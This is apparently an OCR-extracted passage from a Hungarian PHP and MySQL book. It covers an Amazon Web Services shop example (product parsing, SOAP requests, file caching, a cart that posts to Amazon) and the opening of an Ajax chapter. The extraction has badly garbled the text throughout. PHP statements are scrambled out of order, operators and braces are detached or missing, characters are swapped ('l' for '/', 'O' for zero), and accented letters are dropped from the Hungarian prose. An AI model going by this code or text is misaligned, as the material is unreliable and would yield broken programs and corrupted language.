(string)$xml->ItemAttributes->Title;

if($xml->ItemAttributes->Author) foreach($xml->ItemAttributes->Author as $author) $this->authors[]


=

(string)$author;

$this->releaseDate

(string)$xml->ItemAttributes->PublicationDate;
=

$this->manufacturer

(string)$xml->ItemAttributes->Manufacturer;
=

$this->imageUrlMedium $this->imageUrlLarge
=

(string)$xml->Mediumlmage->URL; (string)$xml->Largelmage->URL;

$this->listPrice $this->listPrice $this->listPrice $this->listPrice

(string)$xml->ItemAttributes->ListPrice->FormattedPrice; str_replace('$', str_replace(', ', '', '', $this->listPrice); $this->listPrice);

floatval($this->listPrice);

$this->ourPrice $this->ourPrice $this->ourPrice $this->ourPrice

(string)$xml->OfferSummary->LowestNewPrice->FormattedPrice; str_replace('$', str_replace(', ', '', '', $this->ourPrice); $this->ourPrice);

floatval($this->ourPrice);

33

$this->salesRank

(string)$xml->SalesRank;
=

$this->availability

(string)$xml->Offers->Offer->OfferListing->Availability;
=

$this->avgCustomerRating

(float)$xml->CustomerReviews->AverageRating;

$reviewCount

0;

if($xml->CustomerReviews->Review) foreach ($xml->CustomerReviews->Review as $review) $this->reviews[$reviewCount]['Rating']


=

(float)$review->Rating; (string)$review->Summary;
=

$this->reviews[$reviewCount]['Summary'] $this->reviews[$reviewCount] ['Content'] $reviewCount++;

(string)$review->Content;

$similarProductCount

O;

if($xml->SimilarProducts->SimilarProduct) foreach ($xml->SimilarProducts->SimilarProduct as $similar) $this->similarProducts[$similarProductCount]['Title'] $this->similarProducts[$similarProductCount]['ASIN'] $similarProductCount++;


=

(string)$similar->Title; (string)$similar->ASIN;

Kapcsolds az Amazon Web Services fellethe-z; XML s SOAP segtsgvel

589

ll az osztly metdusainak tbbsge hasonl, ll s egyszeren a privt vltozt adja vissza


function similarProductCount()

return count($this->similarProducts);

function similarProduct($i)

return $this->similarProducts[$i];

function customerReviewCount() return count($this->reviews);

function customerReviewRating($i)

return $this->reviews[$i] ['Rating'];

function customerReviewSummary($i)

return $this->reviews[$i] ['Summary'];

function customerReviewComment($i) { return $this->reviews[$i]['Content'];

function valid() return true; else {

{
&&

if(isset($this->productName)

($this->ourPrice>0.001)

&&

isset($this->ASIN)) {

33

return false;

function ASIN()

return padASIN($this->ASIN);

function imageURLMedium()

return $this->imageUrlMedium;

function imageURLLarge()

return $this->imageUrlLarge;

function productName()

return $this->productName;

590

33.

fejezet

function ourPrice ()

{
'');

return number_format($this->ourPrice,2,

function listPrice()

{
'');

return number format($this->listPrice,2,

function authors()

if(isset($this->authors)) return $this->authors; else

return false;

function releaseDate()

if(isset($this->releaseDate)) return $this->releaseDate; else

return false;

function avgCustomerRating()

if(isset($this->avgCustomerRating)) return $this->avgCustomerRating; else

return false;

33
function manufacturer()

if(isset($this->manufacturer)) return $this->manufacturer; else

return false;

function salesRank() if(isset($this->salesRank)) return $this->salesRank; else

return false;

function availability ()

if(isset($this->availability)) return $this->availability;

l else {

Kapcsolds az Amazon Web Services fellethez XML s SOAP segtsgvel

591

return false;

?>

Ez a konstruktor is krfle beviteli adatot fogad, de egyetlen alkalmazsfelletet hoz ltre. Lthatjuk, hogy mg a kezel kd egy rszt ltalnosabb tehetjk, egyes trkksebb attribtumoknak - pldul az rtkelseknek (review) is - a vlasztort mdszertl fggen eltr lehet a nevk. Miutn az adatok visszakeresse rdekben vgigmentnk a fenti kdokon, most visszaadjuk a vezrlst a getARS(), illetve ezltal a showBrowseNode () fggvnynek. A kvetkez lps gy nz ki:
showSummary($ars->products(), $browseNode); $page, $mode, $ars->tota1Results(),

A showSummary() fggvny pusztn megjelenti az AmazonResult Set objektumban lv adatokat, ahogy azt a korbbi brkon mr lthattuk. Egyszersge miatt rszletesebben nem foglalkozunk a fggvnnyeL

Krs intzse s eredmny visszakeresse SOAP segtsgvel


Trjnk most vissza a browseNodeSearch ( ) fggvnyhez, s vizsgljuk meg a SOAP protokoll alkalmazsa esetn hasznlt vltozatt! Ezt a kdrszletet lthatjuk itt:
$soapclient = new nusoap_client( 'http:llecs.amazonaws.comiAWSECommerceServiceiAWSECommerceService.wsdl', $soap_proxy = $soapclient->getProxy(); $request = array ('Service' => $this->Service, 'BrowseNode' => $this->BrowseNode, $this->Tota1Pages); $parameters = array('AWSAccessKeyid' => DEVTAG, 'Request'=>array($request)); ll a tnyleges soap lekrdezs vgrehajtsa $result = $soap_proxy->ItemSearch($parameters); if(isSOAPError($result)) return false; 'AssociateTag' => ASSOCIATEID, 'Searchindex' => $this->Searchindex, 'Operation' => $this->Operation, 'TotalPages' => 'wsdl');

'ResponseGroup' => $this->ResponseGroup, 'Sort' => $this->Sort,

33

$this->tota1Results = $result['Tota1Results']; foreach($result['Items'] ['Item'] as $product)

$this->products[] = new Product($product); unset($soapclient);

Nincsen szksgnk tovbbi fggvnyekre; a SOAP kliens mindent elvgez helyettnk. Elszr is ltrehozzuk a SOAP kliens egy pldnyt:
$soapclient = new nusoap_client( 'http:llecs.amazonaws.comiAWSECommerceServiceiAWSECommerceService.wsdl', 'wsdl');

Itt kt paramtert adunk t a kliensnek. Az els a szolgltats WSDL-lersa, a msodik pedig azt kzli a SOAP klienssel, hogy WSDL URL-rl van sz. gy is eljrhatrunk volna, hogy csak egy paramtert adunk t: a szolgltats vgpontjt, am nem ms, mnt a SOAP szerver kzvetlen URL-je.

592

33. fejezet

A kvetkez kdsorbl lthatjuk, hogy j okunk volt mgis az elbbi mdszerr vlasztani:
$soap_proxy = $soapclient->getProxy(};

Ez a sor a WSDL dokumentumban lv informcik alapjn egy osztlyt hoz ltre. Ennek az osztlynak, vagyis a SOAP proxynak kr, a Web Service merdusainak megfelel metdusa lesz. Ez jelentsen megknnyti letnket, mivel gy tudunk kapcsolatba lpni a Web Service szolgltatssal, mintha az helyi PHP osztly lenne. Ezt kveten a browsenode lekrdezsnek tadand krselemek tmbjt hozzuk ltre:
$request = array ('Service' => $this->Service, 'BrowseNode' => $this->BrowseNode, 'Operation' => $this->Operation, 'ResponseGroup' => $this->ResponseGroup, 'Sort' => $this->Sort,

'Searchindex' => $this->Searchindex, 'TotalPages' => $this->TotalPages};

Kt msik elemet kell mg tadni a krsnek: az AWSAccessKeyiD-t s az AssociateTaget. Ezeket, illetve a $request tmb elemeit egy msik, $parameters nev tmbbe helyezzk:
$parameters = array('AWSAccessKeyid' => DEVTAG, 'Request'=>array($request}}; 'AssociateTag' => ASSOCIATEID,

Ekkor aproxy osztlyt hasznlva egyszeren meghvjuk a Web Service metdusait, s a paramterek tmbjt acljuk t nekik:
$result = $soap_proxy->ItemSearch($parameters};

A $result tmbben eltrolt adatok egy tmb, amit Product objektumknt kzvetlenl az AmazonResultSet osztly
products tmbjben trolharunk el.

A krsbl szrmaz adatok gyorsttrazsa


Trjnk vissza a getARS(} fggvnyhez, s fordtsuk figyelmnket a gyorsttrazsra! Mint emlkezhetnk r, a fggvny a kvetkezkppen nz ki: ll AmazonResultSet objektum lekrse gyorsttrbl vagy l lekrdezsbl ll l lekrdezs esetn tegyk az objektumot gyorsttrba!
function getARS($type, $parameters} $parameters}; $cache = cached($type, if ($cache}

ll ha megtallhat a gyorsttrban
return $cache; else $ars

{
=

new AmazonResultSet;

33

if($type == 'asin'} $ars->ASINSearch(padASIN($parameters['asin']}, $parameters['mode']};

if($type

==

'browse'}

$ars->browseNodeSearch($parameters['browsenode'], $parameters['page'], $parameters['mode']};

if($type == 'search'} $ars->keywordSearch($parameters['search'], $parameters['mode']}; $parameters['page'],

cache($type,

$parameters,

$ars};

return $ars;

A SOAP s az XML gyorsttrazst is ezzel a fggvnnyel vgezzk el. A kpek gyorsttrba helyezshez ugyanak kor egy msik fggvnyt is hasznlunk. Kezdskppen elszr meghvjuk a cached(} fggvnyt, hogy kidertsk, a krt
AmazonResul tSet objektum gyorsttrba lett-e mr helyezve. Ha igen, akkor ahelyett, hogy j krst intznnk az Ama

zonhoz, a gyorsttrazort adatot adjuk vissza:


$cache = cached($type, $parameters}; if($cache} ll ha benne van a gyorsttrban{ return $cache;

Kapcsolds az Amazon Web Services fellethez XML s SOAP segtsgvel

593

Amennyiben nem, az Amazontl lekrt adatot azonnal gyorsttrazzuk:


cache($type, $parameters, $ars);

Vizsgljuk meg kzelebbrl ezt a kt fggvnyt: cached () s cache () ! Ezek a 33.12 pldakdban lthat fggvnyek valstjk meg az Amazon licencfelttelei kztt szerepl gyorsttrazst.
33.12 pldakd: A cached () s ll ellenrizzk, ll ha igen, ll ha nem,
if($type
a

cache ()fggvny- A cachefunctions.php knyvtr gyorsttrazsrtfelelsfggvnyei

hogy a kvnt Amazon-adat megtallhat-e a gyorsttrban!

adjuk vissza! false rtkkel tr vissza a fggvny $parameters)

function cached($type,
==

'browse')
=

$filename

CACHE. '/browse.'.$parameters['browsenode'l.'. '.$parameters['page'l.'.' .$parameters['mode'l.' .dat';

if($type == 'search') $filename


=

CACHE.'/search.'.$parameters['search'l.'.'.$parameters['page'l.'.' .$parameters['mode'l.'.dat';

if($type == 'asin') $filename


=

CACHE. 'lasin.' . $parameters['asin' l . '.'.$parameters['mode'l . '.dat';

ll a gyorsttrazott adat hinyzik vagy l rnl rgebbi?


if( !file_exists($filename) ll ( (mktime () - filemtime ($filename)) > 60*60)) return false;

$data = file_get_contents($filename); return unserialize($data);

ll Amazon-adatok gyorsttrba helyezse


function cache($type, $parameters, $data) if($type == 'browse') $filename
=

CACHE. '/browse.'.$parameters['browsenode'l.'.'.$parameters['page'l.'.' .$parameters['mode'l.' .dat';

if($type == 'search') $filename = CACHE. 'lsearch.' . $parameters['search'l. '. '.$parameters ['page'l.'.' .$parameters['mode'l.'.dat';

if($type == 'asin') $filename = CACHE.'/asin.'.$parameters['asin'l.'.'.$parameters['mode'l.'.dat';

$data = serialize($data);

$fp

fopen($filename,

'wb'); $data)==-!))

if(!$fp echo

ll

(fwrite($fp,

('<p>Error,

could not store cache file');

fclose($fp);

594

33. fejezet

A kdot tfutva lthatjuk, hogy a gyorsttrba kerl fjlokat olyan fjlnvvel troljuk el, ami a lekrdezs tpusbl s a lekrdezs paramttereibl ll. A cache () fggvny szerializlva (sorosrva) trolja az eredmnyeket, a cached () fggvny pedig visszalltja a szerializlt eredmnyeket. A cached () fggvny a licencfeltteleknek megfelelen fellrja az egy rnl rgebbi adatokat. A serialize() fggvny trolhat karakterlncc alaktja a trolt programadatokat. Az trtnik, hogy trolhat formra alaktjuk az AmazonResult Set objektumokat. Az unserialize () fggvny meghvsa ennek pont fordtottjt vgzi: a memriban lv adatstruktrra lltja vissza az eltrolt adatokat. Ne fele<ljk, hogy a szerializlt karakterlnc objektumm visszalltshoz a fjlnak tartalmaznia kell az osztlydefincit! Alkalmazsunkban a msodperc trt rszig tart az eredmnyhalmaz gyorsttrbl val visszakeresse, az l lekrdezs ugyanakkor akr tz msodpercet is ignybe vehet.

Vsrli kosr fejlesztse


Az egy dolog, hogy most mr oldalunkrl elrhetk az Amazon lenygz lekrdezsi funkcii, de mgis mire megynk velk? A nyilvnval vlasz, hogy kosr funkeit megvalstva lehetv tehetjk, hogy oldalunkon bngszve ltogatink vsroljanak az Amazon knlatbl. Mivel a kosr funkcival kimerten foglalkoztunk a 28. fejezetben, itt s most nem megynk bele a rszletekbe. A kosr funkci fggvnyeit a 33.13 pldakdban lthatjuk.
33.13 pldakd: cartfunctions.php-A vsrli kosr megvalstsa
<?php require_once('AmazonResultSet.php'); ll A bookdisplay.php fjl showSummary() fggvnyvel megjelentjk ll a kosr aktulis tartalmt function showCart($cart, $products = array(); foreach($cart as $ASIN=>$product) $ars = getARS('asin', if($ars) { array('asin'=>$ASIN, 'mode'=>$mode)); $mode) ll tadand tmb ltrehozsa

33

$products[)

= $ars->getProduct(O);

ll az Amazon.com kosrhoz csatlakoz rlap ltrehozsa echo "<form method=\"POST\" action=\"http:llwww.amazon.comlgplawslcart/add.html\">"; foreach($cart as $ASIN=>$product) $quantity
=

$eart [ $ASIN) ['quantity' l ; value=\"".$ASIN."\">";

echo "<input type=\"hidden\" name=\"ASIN.".$ASIN."\"

echo "<input type=\"hidden\" name=\"Quantity.".$ASIN."\" value=\"".$quantity."\">";

echo "<input type=\"hidden\" name=\"Subscriptionid\" value=\"".DEVTAG."\"> <input type=\"hidden\" name=\"AssociateTag\" value=\"".ASSOCIATEID."\"> <input type=\"image\" src=\"images/checkout.gif\" name=\"submit.add-to-cart\" value=\"Buy From Amazon.com\"> When you have finished shopping press checkout to add all the items in your Tahuayo eart to your Amazon eart and complete your purchase. </form> <br/><a href=\"index.php?action=emptycart\"><img

Kapcsolds az Amazon Web Services fellethez XML s SOAP segtsgvel

595

src=\"images/emptycart.gif\" alt=\"Empty eart\" border=\"0\"></a> If you have finished with this eart, </form> <br /> <hl>eart eontents</hl>"; showSummary($products, you can empty it of all items.

l, count($products), $mode,

0,

true);

ll a kosr llandan a kpernyn lv rvid sszefoglalsnak megjelenitse ll csak az utols hrom, function showSmalleart() global $ SESSION; echo "<table border=\"1\" cellpadding=\"1\" cellspacing=\"0\"> <tr><td class=\"cartheading\">Your eart $". number forrnat( eartPrice (), kosrba tett termket mutatja

2). "</td></tr>

<tr><td class=\"cart\">".carteontents()."</td></tr>"; ll az Amazon.com kosrhoz csatlakoz rlap echo "<form method=\"POST\" action=\"http://www.amazon.comlgp/awslcart/add.html\"> <tr><td class=\"cartheading\"><a href=\"index.php?action=showcart\"><img src=\"images/details.gif\" border=\"0\"><la>"; foreach($_SESSION['cart'] as $ASIN=>$product) $quantity = $_SESSION['cart'] [$ASIN]['quantity']; echo "<input type=\"hidden\" name=\"ASIN.".$ASIN."\" value=\"".$ASIN."\">"; echo "<input type=\"hidden\" name=\"Quantity.".$ASIN."\" value=\"".$quantity."\">"; echo "<input type=\"hidden\" name=\"Subscriptionid\" value=\"".DEVTAG."\"> <input type=\"hidden\" name=\"AssociateTag\" value=\"".ASSOeiATEID."\"> <input type=\"image\" src=\"imageslcheckout.gif\" name=\"submit.add-to-cart\" value=\"Buy From Amazon.com\"> </td></tr> </form> <ltable>";

33

ll mutassuk a kosrhoz utoljra hozzadott ttelt! function carteontents() global $ SESSION; $display = array_slice($ SESSION['cart'], $display = array_reverse($display, $result = ''; $counter = 0; ll ha tl hossz a termknv, rvidtsk le' true);

-3,

3);

ll fordtott idrendi sorrendben van rjuk szksgnk

596

33.fezet

foreach($display as $product) if(strlen($product['name'l)<=40) $result else $product['name'l . "<br l>";

{
substr($product['name'l,

$result

O,

37)."... <br l>";

$counter++;

ll res kosr esetn res sorok hozzadsa, ll a kperny lland legyen for(;$counter<3; $counter++) $result .= "<br l>";

hogy

return $result;

ll kosrban lv termkek teljes rnak kiszmtsa function cartPrice() global $ SESSION; $total = 0.0; foreach($_SESSION['cart'l as $product) $price = str_replace('$', '', $product['price'l) ;

$total += $price*$product['quantity'l;

return $total;

ll egy termk kosrba raksa ll egyelre nem lehetsges egyszerre egy termknl tbbet a kosrba tenni function addToCart(&$cart, $ASIN, $mode)

33

if(isset($eart[$ASINl )) $eart [$ASINl['quantity'l +=l; else

{
hogy az ASIN kd rvnyes-e, s mennyi az ahhoz tartoz r!

ll ellenrizzk, $ars
=

new AmazonResultSet; $mode);

$product = $ars->ASINSearch($ASIN,

if($product->valid ())

$cart[$ASINl = array('price'=>$product->ourPrice(), 'name' => $product->productName(), 'quantity' => l)

ll egy adott ttel sszes pldnynak trlse a kosrbl function deleteFromCart(&$cart, unset ($cart[$ASINl); $ASIN)

?>

Kapcsolds azAmazon Web Services fellethez XML s SOAP segtsgvel

597

Ennl a kosrnl a korbbiakhoz kpest mshogyan hajtunk vgre nhny dolgot. Nzzk meg pldul az addToCart () fggvnyt! Amikor megprblunk betenni valamit a kosrba, ellenrizzk az ASIN kd rvnyessgt, s kiketessk az aktu lis ( vagy legalbbis gyorsttrazott) rat. A legrdekesebb krds a kvetkez: amikor a vsrlk fizetni akarnak, hogyan juttatjuk el adataikat azAmazonnak?

Fizets az Amazonnl
Nzzk meg kzelebbrl a 33.13 pldakdban lthat showeart () fggvnyt, annak is az albbi rszt:
ll az Amazon.com kosrhoz csatlakoz rlap ltrehozsa
echo "<form method=\"POST\" action=\"http://www.amazon.com/gp/aws/cart/add.html\">";

foreach($cart as $ASIN=>$product) $quantity


=

$eart [ $ASIN] ['quantity'] ; value=\"".$ASIN."\">";

echo "<input type=\"hidden\" name=\"ASIN.".$ASIN."\"

echo "<input type=\"hidden\" name=\"Quantity.".$ASIN."\" value=\"".$quantity."\">";

echo "<input type=\"hidden\" name=\"Subscriptionld\" value=\"".DEVTAG."\"> <input type=\"hidden\" name=\"AssociateTag\" value=\"".ASSOCIATEID."\"> <input type=\"image\" src=\"images/checkout.gif\" name=\"submit.add-to-cart\" value=\"Buy From Amazon.com\"> When you have finished shopping press checkout to add all the items in your Tahuayo eart to your Amazon eart and complete your purchase. </form>

A fizets gomb olyan rlapgomb, amely azAmazon oldalon lv kosrhoz kapcsolja a vsrl kosart. POST vltozkknt elkldjk azASIN kdokat, a mennyisgeket s a partnerazonostnkat (Associate ID). s hkuszpkusz: kszen vagyunk! A gombra kattints eredmnyt a korbban mr bemutatott 33.5 brn lthatjuk. Ennek a felletnek az a problm:ija, hogy csak egyirny kommunikcit tesz lehetv.AzAmazon oldalon lv kosrhoz hozzadhatunk ugyan tteleket, m eltvoltani nem rucijuk ket. Ez azt jelenti, hogy nem tudunk oldalunk s azAmazon k ztt oda-vissza vltogatni annak veszlye nlkl, hogy megduplzzuk a kasarunkban lv ttelek pldnyszmt.

A projekt kdjnak teleptse


Ha szetetnnk telepteni a fejezetben ellltott kdot, a megszokottakon tl nhny tovbbi lpst is vgre kell hajtani. Miu tn kiszolglnk megfelel knyvtraiban elhelyeztk a kdot, a kvetkezket tesszk: Cache knyvtr ltrehozsa. A cache knyvtr jogosultsgainak belltsa, hogy a kdok rhassanak a knyvtrba. A constants.php tartalmnak szerkesztse a gyorsttr elrsi tvonalnak megfelelen. RegsztrciAmazon fejleszti tokenrt. A constants. php tartalmnak mdostsa a fejleszti token s partnerazonosrnk (Associate ID) alapjn. A NuSOAP knyvtr teleptse. Ez megrallhat a Tahuayo mappban is, de tetszs szerint thelyezhetjk s mdost hatjuk a kdjt. Annak ellenrzse, hogy a PHP5-t simpleXML tmogatssal fordtottuk-e.

33

598

33. fejezet

A projekt tovbbfejlesztse
A projekt egyik kzenfekv tovbbfejlesztsi lehetsge a Tahuayo oldalon elrhet keressi tpusok kibvtse. Ha tovbbi tletekre van s:zksgnk, kattintsunk az Amazon Web Services Resource Centerben elrhet, innovatv mintaalkalmazsok ra mutat hivatkozsokra! Tovbbi informcirt olvassunk bele az Articles and Tutorials (Cikkek s oktatanyagok), illetve a Community Code (Kzssgi kd) szakasz tartalmba is! A kosr funkci megvalstsa az Amazontl lekrt adatokkal a leginkbb magtl rtetd feladat, m messze nem ez az egyetlen fejlesztsi lehetsg.

Tovbbi olvasnival
Rengeteg knyv s online informciforrs tallhat az XML s a Web Services tmakrben. Kivl kiindulpontot jelent a W3C weboldala. rdemes megtekinteni tovbb az XML Working Group oldalt (http:/ /www.w3.org/XML/Core/) s a Web Services Activity oldalt is (http://www.w3.org/2002/ws/).

33

34
Web 2.Q ...s alkalmazsok fejlesztse Ajax ...programozssal
A vilghl szveget, illetve kpekre, hang- s videofjlokra mutat hivatkozsokat tartalmaz statikus oldalak sorozataknt indult. A web jelents rsze a mai napig megrizte ezen llapott, ugyanakkor egyre tbb, szveggel s multimdis rartalom mal teli oldalt dinamikusan, szerveroldali programozssal lltanak el; mi is pontosan ezt tettk a knyv eddig ltott alkal mazsaiban. m a Web 2.0 eljvetele egyttal arra sztnzte a fejlesztker, hogy j mdszereket dolgozzanak ki arra, hogy miknt rudnak a felhasznlk klcsnhatsba lpni a webszerverekkel s az informcit trol adatbzisokkal. Az egyik gyor san terjed mdszer az Ajax- (AsynchronousJavaScript and XML, vagyis aszinkronJavaScript s XML) programozs, amivel interaktv alkalmazsokat hozharunk ltre, ugyanakkor cskkenthetjk a statikus elemek visszakeressre fordtand idt.

Megjegyzs: Ha szeretnnk jobban

megrteni a Web 2.0 Joga/mt, olvassuk el Tim O'Reilly dolgozatt a tmban, amely -

angol nyelven- a http://www.oreillynet.com/pub/a/oreilly/tim/news/2005/09!30/what-is-web-20.html oldalrl rhet el.

E fejezetben ismertetjk az Ajax-programozs alapjait, s megmurarjuk, hogy integrlhatunk alkalmazsainkba nhny egyszer Ajax elemet. A fejezetben nem trekedhetnk a teljessgre, m az itt olvasortak megfelel alapot teremthetnek e tech nolgik ksbbi hasznlathoz. A kvetkez fbb tmakrkkel foglalkozunk: Ajax alkalmazsok ltrehozsa szkripr- s ler nyelvek tvzsveL Az Ajax alkalmazs legfontosabb rszei: krs intzse kiszolglhoz s a kiszolgl vlasznak rtelmezse. Korbbi fejezetek alkalmazsainak mdostsa Ajaxot tmogat (Ajax-enabled) weboldalak ltrehozsra. Kdknyvtrak elrhetsge, illetve tovbbi informcik a tmban.

Mi azAjax:
sem nem programozsi nyelv, sem nem technolgia. Az Ajax-programozs ezzel szemben jellernzen az XML formzs adattvitelt tartalmaz, kliensoldaliJavaScript-programozs s a- pldul PHP-vel vgzett- szerveroldali programozs kombincija. A fentieken tlmenen XHTML-t s CSS-r hasznlunk az Ajaxor tmogat tartalmak formz sra s megjelentsre. Az Ajax-programozs vgeredmnyben cltharbb s gyorsabb felhasznli felleret eredmnyez az adott alkalmazsban - gondoljunk csak a Facebook, a Flickr vagy a Web 2.0 ltal elrrhe kerlt egyb kzssgi oldalak felleteirel Ezek az alkal mazsok lehetv teszik a felhasznlnak, hogy az egsz oldal jbli berltse vagy megjelentse nlkl hajtsanak vgre kln bz feladatokat, s pontosan itt kerl a kpbe az Ajax. A kliensoldali programozs a szerveroldali programozs egy kis rszt hvja csak meg, pusztn a felhasznl bngszjben megjelentett aprnyi terleten, s csak ez az, amit jra kell rajzolni. Az ilyen mvelet a klnll alkalmazsok mveleteinek eredmnyt minrzza, m webes krnyezetben teszi mindezt. J plda erre, amikor azt hasonltjuk ssze, hogy rnilyen tblzatkezel alkalmazsban dolgozni , illetvernilyen a webolda lakon megtekinteni egy adattal teli tblzatot. Az offline alkalmazsban a felhasznlnak lehetsge van a cellkat egyenknt mdostani vagy kpleteket alkalmazni az egyes cellkban, rendezheti az oszlopokban lv adatokat, s mindezt anlkl teheti meg, hogy el kellene hagynia az eredeti felletet. Ha statikus webes krnyezetben kattinrunk az egyes oszlopokat rendez hi vatkozsokra, j krst kell kldeni a kiszolglnak, amire a kiszolgl j eredmnyt kld a bngsznek, az oldalt pedig jra meg kell jelenteni a felhasznl szmra. Ajaxor tmogat webes krnyezetben az adott oszlopot gy lehet a felhasznl kr sre sorba rendezni, hogy nem kell a teljes oldalt jra betlteni. A mosr kvetkez oldalakon az Ajax hasznlata esetn szba jv technolgikat tekintjk t. Az itt olvashat lers tvolrl sem teljes kr, de ha tovbbi informcira van szksgnk, a megadott forrsokon elindulharunk majd.
Az Ajax nmagban

600

34. fejezet

HTTP krsek s vlaszok


A Hypertext Transfer Protocol (hiperszveg-tviteli protokoll, HTTP) olyan internetes szabvny, amely a webszerverek s a bngszk egymssal folyrarott kommunikcijt szablyozza. Amikor a felhasznl a bngsz cmsorba URL-t beg pelve, vagy hivatkozsta kattintva, rlapot elkldve, vagy brmilyen ms, t j oldalra irnyt mveletet vgrehajtva lekr egy weboldalt, a bngsz HTTP krst intz a kiszolglhoz. A krst megkap webszerver valamilyen vlaszt ad erre. Annak rdekben, hogy a kiszolgltl rtelmes vlaszt kapjuk, megfelelen formzott krst kell kldeni. Az Ajax hasznlathoz elengedhetetlen, hogy tisztban legynk a krsek s vlaszok megfelel formjval, mert a fejleszt feladata s felelssge, hogy az Ajax alkalmazsokon bell HTTP krseket rjon, illetve fogadja az azokra rkez vlaszokat. HTTP krs intzsekor az albbi formban kldi el a kliens az informcit: Nyit sor, amely a mdszert, a forrs elrsi tvonalt s az aktulisan hasznlt HTTP verzijt tartalmazza, pldul gy:
GET http://server/php es_mysql/34 fejezet/test.html HTTP/1.1

Tovbbi, gyakran hasznlt mdszer a POST s a HEAD. Opcionlis fejlcsarok paramter: rtk formban, pldul gy:
User-agent: Mozilla/5.0 Gecko/2008070208 (Windows; U; Windows NT 6.0; en-US; rv:l.9.0.1) Firefox/3.0.1

s/vagy
Accept: text/plain, text/html

A HTTP fejlcek listjt a http://www.w3.org/Protocols/rfc2616/ oldalon talljuk. res sor Opcionlisan az zenet tartalma A HTTP krst intz kliensnek HTTP vlaszt kell kapnia. Egy HTTP vlasz ltalnos formtuma a kvetkez: Nyit sor, ms nven llapotsor, amely az aktulisan hasznlt HTTP verzijt s a vlaszkdot tartalmazza, pldul:
HTTP/1.1 200 OK

Az llapotkd els szmjegye ( jelen esetben a 200-on bell a 2-es) a vlaszra utal. Az l-essel kezdd llapatkdok tjkoztat jellegek, a 2-essel kezddk a sikeres vlaszt, a 3-assal kezddk az tirnytst jelzik, a 4-essel kezddk olyan klienshibkat, mint a hinyz elem (404), az 5-ssel kezddk pedig olyan szerverhibkat, mint pldul a hibsan kialaktott kd (500). A HTTP llapatkdok listjt a http://www.w3.org/Protocols/rfc2616/ oldalon talljuk. Opcionlis fejlcsarok paramter: rtk formban, pldul gy:
Server: Apache/2.2.9 Last-Modified: Fri,

l Aug 2008 15:34:59 GMT

D HTML s XHTML
A Dinamikus HTML (DHTML) a statikus HTML, a Caseaciing Style Sheets (egymsba gyazott stluslapok, CSS) s a JavaScript kombinlt alkalmazsra utal. Ebben a Document Object Model (dokumentumobjektum-modell, DOM) segt sgvel vltoztatjuk meg ltszlag statikus weboldal megjelenst azt kveten, hogy annak minden eleme betltdtt. Els

34

rnzsre ez a mkds igen hasonl az Ajaxot tmogat oldalakhoz, s bizonyos szempontbl ez igaz is. A klnbsg a kliens s a kiszolgl kztti aszinkron kapcsolatban rejlik - erre az aszinkron kapcsolatra utal az Ajax els"!\' betje. Noha egy DHTML ltal vezrelt oldal dinamikus viselkedst mutathat a navigcit segt legrdl menkben vagy a ko rbbi vlasztsoktl fggen vltoz rlapelemekben, az ezekhez szksges sszes adat mr korbban vissza lett keresve. Ha pldul olyan DHTML oldalt terveznk, amely valamilyen szveg els rszt jelenti meg, arnikor a felhasznl egy hivatkozs vagy gomb fl viszi az egeret, s ugyanennek a szvegnek a msodik rszt mutatja, amikor msik hivatkozs vagy gomb fl viszi, a bngsz ekkorra mr mindkt szvegrszt betlttte. A fejleszt rvidke JavaScript kdot hasznlt, ami a felhasznl egernek mozgstl fggen be- vagy kikapcsolja a visibility (lthatsg) CSS attribtumot. Ajaxot tmogat oldal esetn a ktfle szvegnek fenntartott terletet minden bizonnyal a kiszolglhoz intzett tvoli szkriptmeghvs eredmnyeknt tl tennk fel, mikzben az oldal tbbi rsze statikus maradna. Az Extensible Hypertext Markup Language (kiterjeszthet hiperszveg-ler nyelv, XHTML) abban a tekintetben a HTML-hez s a DHTML-hez hasonlan mkdik, hogy mindhrmat klienseszkzn (webes bngszn, telefonon vagy egyb kzi eszkzn) megjelentend tartalom lersra hasznljuk, s a megjelents jobb szablyozhatsga rdekben meg engedik a CSS integrcijt. Az XHTML s a HTML kztti klnbsgek kz tartozik az, ahogyan az X HTML alkalmaz kodik az XML szintaktikjhoz, s ahogyan az XHTML - a szabvnyos bngszeszkzkn tlmenen - XML eszkzk kel is rtelmezhet.

Web 2.0-s alkalmazsok fejlesztse Ajax-programozssal

601

Az XHTML-ben teljes egszben kisbecvel rjuk az elemeket (pldul <head></head> a <HEAD></HEAD> helyett) s az attribtumokat (pldul href a HREF helyett). Ezen kvl minden attribtumrtket egyszeres vagy ktszeres idzjelek kz kell rni, s minden elemet egyrtelmen be kell zrni- cmkepr esetn zr cmkvel, egyetlen (singleton) elem esetn pedig pldul <img /> vagy <br/> cmkvel. Az XHTML-rl a http://www.w3.org/TR/xhtmll/ oldalon olvashatunk bvebben.

Cascading Style Sheets (CSS)


A Cascading Style Sheets (CSS) programnyelvet arra hasznljuk, hogy mg jobban finomthassuk statikus, dinamikus vagy Ajaxot tmogat weboldalak megjelentst. Hasznlata lehetv teszi a fejlesztknek, hogy egy dokumentumon bell meg vltoztassk egy cmke, osztly vagy ID (azonost) defincijt, s a vltoztatst egybl minden olyan oldalon letbe lptessk, amely arra a stluslapra mutat. Ezek a defincik vagy ms nven szablyok kivlasztkat (selector), deklarcikat s rtkeket tartalmaz klnleges formtumot kvernek. A kivlasztk a HTML cmkk nevei, pldul body vagy hl (heading l, azaz l. snc cmsor). A deklarcik maguk a stluslap-tulajdonsgok, pldul background (httr) vagy font-size (betmret). Az rtkeket a deklarciknak adjuk, lehet pldul white (fehr) vagy 12pt (12 pont). gy a kvetkez nhny sor olyan stluslapelem, amely fehr httrrel definilja a dokumentum trzst, a dokumentum ke nyrszvegt pedig norml vastagsg, 12 pontos Verdana vagy sans-serif (talp nlkli) betbl szedi:
body

{
background: font-family: font-size: white [or #fff or #ffffff]; Verdana, sans-serif;

12pt; normal;

font-weight:

